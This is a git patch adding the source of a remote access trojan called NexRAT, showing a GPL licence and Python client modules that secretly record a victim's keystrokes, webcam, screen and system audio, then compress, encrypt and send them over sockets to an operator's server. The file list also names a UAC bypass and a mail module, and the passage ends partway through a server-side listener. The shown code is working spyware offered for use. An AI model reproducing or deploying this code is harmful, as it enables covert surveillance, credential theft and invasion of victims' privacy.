From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- LICENSE | 674 ++++++++++++++++++++ Modules/Clients/audio.py | 57 ++ Modules/Clients/cam.py | 50 ++ Modules/Clients/keylogger.py | 34 + Modules/Clients/stream.py | 57 ++ Modules/Clients/talk.py | 62 ++ Modules/Servers/audio.py | 118 ++++ Modules/Servers/cam.py | 119 ++++ Modules/Servers/keylogger.py | 131 ++++ Modules/Servers/stream.py | 119 ++++ Modules/Servers/talk.py | 113 ++++ README.md | 249 ++++++++ Specific/encrypt.py | 26 + Specific/grabber.py | 113 ++++ Specific/mail.py | 21 + Specific/uac_bypass.py | 44 ++ Uploads/files_to_upload_here.txt | 0 Utilities/client.py | 27 + Utilities/db_queries.py | 36 ++ Utilities/server.py | 212 +++++++ client.py | 330 ++++++++++ requirements.txt | 8 + server.py | 1264 ++++++++++++++++++++++++++++++++++++++ 23 files changed, 3864 insertions(+) create mode 100644 LICENSE create mode 100644 Modules/Clients/audio.py create mode 100644 Modules/Clients/cam.py create mode 100644 Modules/Clients/keylogger.py create mode 100644 Modules/Clients/stream.py create mode 100644 Modules/Clients/talk.py create mode 100644 Modules/Servers/audio.py create mode 100644 Modules/Servers/cam.py create mode 100644 Modules/Servers/keylogger.py create mode 100644 Modules/Servers/stream.py create mode 100644 Modules/Servers/talk.py create mode 100644 README.md create mode 100644 Specific/encrypt.py create mode 100644 Specific/grabber.py create mode 100644 Specific/mail.py create mode 100644 Specific/uac_bypass.py create mode 100644 Uploads/files_to_upload_here.txt create mode 100644 Utilities/client.py create mode 100644 Utilities/db_queries.py create mode 100644 Utilities/server.py create mode 100644 client.py create mode 100644 requirements.txt create mode 100644 server.py diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Modules/Clients/audio.py b/Modules/Clients/audio.py new file mode 100644 index 0000000..a1a8d40 --- /dev/null +++ b/Modules/Clients/audio.py @@ -0,0 +1,57 @@ +import pyaudio +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from sys import exit + + +def Audio(ip, port, encoding): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True) + + while True: + try: + Audio_msg = s.recv(1024) + + if new_msg: + msg_len = int(Audio_msg[:headersize]) + new_msg = False + + full_msg += Audio_msg + + if len(full_msg)-headersize == msg_len: + frame = stream.read(CHUNK) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + stream.stop_stream() + stream.close() + p.terminate() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/Modules/Clients/cam.py b/Modules/Clients/cam.py new file mode 100644 index 0000000..04cdad4 --- /dev/null +++ b/Modules/Clients/cam.py @@ -0,0 +1,50 @@ +import socket +import pickle +import zlib +import cv2 + +from Specific.encrypt import Encryption +from sys import exit + + +def Cam(ip, port, encoding, position): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + cam = cv2.VideoCapture(position) + + while True: + try: + Cam_msg = s.recv(1024) + + if new_msg: + msg_len = int(Cam_msg[:headersize]) + new_msg = False + + full_msg += Cam_msg + + if len(full_msg)-headersize == msg_len: + check, frame = cam.read() + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cam.release() + cv2.destroyAllWindows() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/Modules/Clients/keylogger.py b/Modules/Clients/keylogger.py new file mode 100644 index 0000000..48dbf6a --- /dev/null +++ b/Modules/Clients/keylogger.py @@ -0,0 +1,34 @@ +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from pynput.keyboard import Listener +from sys import exit + + +def Keylogger(ip, port, encoding): + try: + headersize = 10 + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + def on_press(key): + try: + recv = s.recv(1024) + + log = pickle.dumps(str(key)) + log = zlib.compress(log) + log = e.do_encrypt(log) + + final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log + s.send(final_msg) + except: + exit(0) + + with Listener(on_press=on_press) as L: + L.join() + except: + exit(0) \ No newline at end of file diff --git a/Modules/Clients/stream.py b/Modules/Clients/stream.py new file mode 100644 index 0000000..2b06a78 --- /dev/null +++ b/Modules/Clients/stream.py @@ -0,0 +1,57 @@ +import socket +import pickle +import zlib +import time +import cv2 + +from Specific.encrypt import Encryption +from Specific.grabber import Grabber +from ctypes import windll +from sys import exit + +user32 = windll.user32 +user32.SetProcessDPIAware() + + +def Stream(ip, port, encoding): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + g = Grabber() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + while True: + try: + last_time = time.time() + recv_msg = s.recv(1024) + + if new_msg: + msg_len = int(recv_msg[:headersize]) + new_msg = False + + full_msg += recv_msg + + if len(full_msg)-headersize == msg_len: + frame = g.grab() + cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cv2.destroyAllWindows() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/Modules/Clients/talk.py b/Modules/Clients/talk.py new file mode 100644 index 0000000..cc8d181 --- /dev/null +++ b/Modules/Clients/talk.py @@ -0,0 +1,62 @@ +import pyaudio +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from sys import exit + + +def Talk(ip, port, encoding): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + + while True: + try: + talk_msg = s.recv(81920) + + if new_msg: + msg_len = int(talk_msg[:headersize]) + new_msg = False + + full_msg += talk_msg + + if len(full_msg)-headersize == msg_len: + data = e.do_decrypt(full_msg[headersize:]) + data = zlib.decompress(data) + data = pickle.loads(data) + + stream.write(data) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + stream.stop_stream() + stream.close() + p.terminate() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/Modules/Servers/audio.py b/Modules/Servers/audio.py new file mode 100644 index 0000000..ffa2da9 --- /dev/null +++ b/Modules/Servers/audio.py @@ -0,0 +1,118 @@ +import pyaudio +import socket +import pickle +import zlib +import time +import wave + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + audio_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[2]))) + s.listen() +except: + exit(0) + + +def audio_info(): + info = '\n' + + for index, setting in enumerate(audio_settings): + info += f' - {setting[0]}[{index}]' + if len(audio_settings) > 1 and index + 1 != len(audio_settings): + info += '\n' + + if len(audio_settings) == 0: + info = 'False' + + return info + + +def set_audio_settings(index): + global audio_settings + + try: + if index == '*': + for audio_setting in audio_settings: + audio_setting[1].close() + return 'Audios closed!' + else: + audio_settings[int(index)][1].close() + return 'Audio closed!' + except: + return 'Audio failed to close.' 